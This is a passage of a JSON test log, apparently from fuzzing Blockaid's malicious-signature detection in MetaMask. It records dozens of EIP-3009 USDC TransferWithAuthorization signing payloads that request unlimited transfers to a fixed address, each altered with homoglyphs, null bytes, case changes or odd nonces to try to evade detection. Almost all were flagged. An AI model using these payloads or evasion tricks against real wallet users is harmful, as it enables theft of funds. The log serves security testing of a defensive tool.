"Field order might affect pattern matching", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"TransferWithAuthorization\":[{\"name\":\"nonce\",\"type\":\"bytes32\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"from\",\"type\":\"address\"}],\"EIP712Domain\":[{\"name\":\"verifyingContract\",\"type\":\"address\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"name\",\"type\":\"string\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x90c00558e508147e604326f25174b4ec974bb77957029c5c6b51abbb41027bde\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-019", "timestamp": "2026-01-31T15:50:00.750Z", "technique": "EIP-3009 extra types", "category": "eip3009", "description": "EIP-3009 with unused extra type definitions", "expectedBypass": "Extra types might confuse type analysis", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}],\"UnusedType\":[{\"name\":\"data\",\"type\":\"bytes\"},{\"name\":\"value\",\"type\":\"uint256\"}],\"AnotherUnused\":[{\"name\":\"flag\",\"type\":\"bool\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xcf03ac4f374e8347be34144e053ee10855404eead9a34e893281ce0f0372dd45\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-020", "timestamp": "2026-01-31T15:50:10.643Z", "technique": "EIP-3009 domain salt", "category": "eip3009", "description": "EIP-3009 with salt field in domain (valid per EIP-712)", "expectedBypass": "Extra domain field might not be expected", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"},{\"name\":\"salt\",\"type\":\"bytes32\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"salt\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x183904227752edee0f54878332b88f1bcb9f1a41473bfde9b6e9c44830df7452\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-021", "timestamp": "2026-01-31T15:50:18.095Z", "technique": "EIP-3009 lowercase addresses", "category": "eip3009", "description": "EIP-3009 with all addresses in lowercase", "expectedBypass": "Non-checksummed addresses might bypass matching", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xb38d91e8c1da9435d908d1086fd992e1f174fa2734a0ea4372aeaf235eace5c1\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-022", "timestamp": "2026-01-31T15:50:25.519Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xc3977de4edb08a64fd5d2ecb19d00a3c09c5382ade52c688e4d1188ac4c5d943\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN1-EIP3009-023", "timestamp": "2026-01-31T15:50:32.047Z", "technique": "EIP-3009 BOM prefix", "category": "eip3009", "description": "EIP-3009 with byte order mark in domain name", "expectedBypass": "BOM might be stripped inconsistently", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x8277a89668f56e25b6b57ddb61eb6fdbe1ff9b56e41053c03358be960c45a56d\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-024", "timestamp": "2026-01-31T15:50:39.472Z", "technique": "EIP-3009 soft hyphen", "category": "eip3009", "description": "EIP-3009 with soft hyphen character in domain", "expectedBypass": "Soft hyphens are invisible rendering hints", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD­ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xed7d8803635d89e88b96de8f59e346e8756110c5f35b57a448962efedc5ec993\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-025", "timestamp": "2026-01-31T15:50:46.898Z", "technique": "EIP-3009 cyrillic homoglyph", "category": "eip3009", "description": "EIP-3009 with Cyrillic lookalike characters", "expectedBypass": "Homoglyphs look identical but are different codepoints", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"UЅD Cоin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x976e80bdbbec63ec902d495a93c8eb454f0952e3634bd6005f1a638612221f42\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-026", "timestamp": "2026-01-31T15:50:56.682Z", "technique": "EIP-3009 narrow window", "category": "eip3009", "description": "EIP-3009 with 1 minute validity window", "expectedBypass": "Narrow time window might seem less threatening", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"1769874525\",\"validBefore\":\"1769874645\",\"nonce\":\"0xab4ddf7e1d9b688e10a6cad9008395080d33c50287c2b124988a60febd5a37a8\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-027", "timestamp": "2026-01-31T15:51:04.134Z", "technique": "EIP-3009 just valid", "category": "eip3009", "description": "EIP-3009 with validAfter = current time - 1", "expectedBypass": "Just-valid timestamp might seem intentional", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"1769874584\",\"validBefore\":\"1893456000\",\"nonce\":\"0x2f163360a71e283abb914a8d4c53072883648bd491e522ceee31f21483139b1c\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-028", "timestamp": "2026-01-31T15:51:11.558Z", "technique": "EIP-3009 round value", "category": "eip3009", "description": "EIP-3009 with round number value (1M USDC)", "expectedBypass": "Round numbers might seem like intentional transfers", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"1000000000000\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0e59fbbebc92e426314960cdfc24337cdcbbfa829928e7268e16908466e0b428\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-029", "timestamp": "2026-01-31T15:51:21.359Z", "technique": "EIP-3009 empty domain", "category": "eip3009", "description": "EIP-3009 with empty string for domain name", "expectedBypass": "Empty domain might skip name-based checks", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xe7a3b6e7e27dbf374679c99043100998ee772e5ec5d690cb25e5afea2023418e\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-030", "timestamp": "2026-01-31T15:51:28.788Z", "technique": "EIP-3009 long domain", "category": "eip3009", "description": "EIP-3009 with 256 character domain name", "expectedBypass": "Long strings might truncate or overflow", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xc0e302cb85dfbf186750489e7d35c9d05bc1c12c932fd286d06a1a9bd680f277\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-031", "timestamp": "2026-01-31T15:51:36.220Z", "technique": "EIP-3009 null byte", "category": "eip3009", "description": "EIP-3009 with null byte in domain name", "expectedBypass": "Null bytes might truncate string processing", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\u0000Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x6fef51cefe6f87db0e7c6c2b88c0ccba0dfcce915040823f3b0ded4068d64e36\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-032", "timestamp": "2026-01-31T15:51:46.050Z", "technique": "EIP-3009 zero nonce", "category": "eip3009", "description": "EIP-3009 with nonce = 0x0...0 (all zeros)", "expectedBypass": "Zero nonce might be treated specially", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-033", "timestamp": "2026-01-31T15:51:53.468Z", "technique": "EIP-3009 max nonce", "category": "eip3009", "description": "EIP-3009 with nonce = 0xF...F (max value)", "expectedBypass": "Max nonce might overflow checks", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-034", "timestamp": "2026-01-31T15:52:00.886Z", "technique": "EIP-3009 scientific notation", "category": "eip3009", "description": "EIP-3009 with value in scientific notation string", "expectedBypass": "Scientific notation might parse differently", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"1e18\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x22e25954612768c54a8bef33f818b783180771afe81575abe2ac412fa7d4d86d\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-035", "timestamp": "2026-01-31T15:52:10.668Z", "technique": "EIP-3009 decimal version", "category": "eip3009", "description": "EIP-3009 with domain version \"2.0\"", "expectedBypass": "Decimal version format might not match", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xbb4da8721577746e7932529216bfb94a7a51118081885de2c45c2f00e5f72aaf\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-036", "timestamp": "2026-01-31T15:52:18.112Z", "technique": "EIP-3009 USDT token", "category": "eip3009", "description": "EIP-3009 TransferWithAuthorization on USDT", "expectedBypass": "Different token might have different detection", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 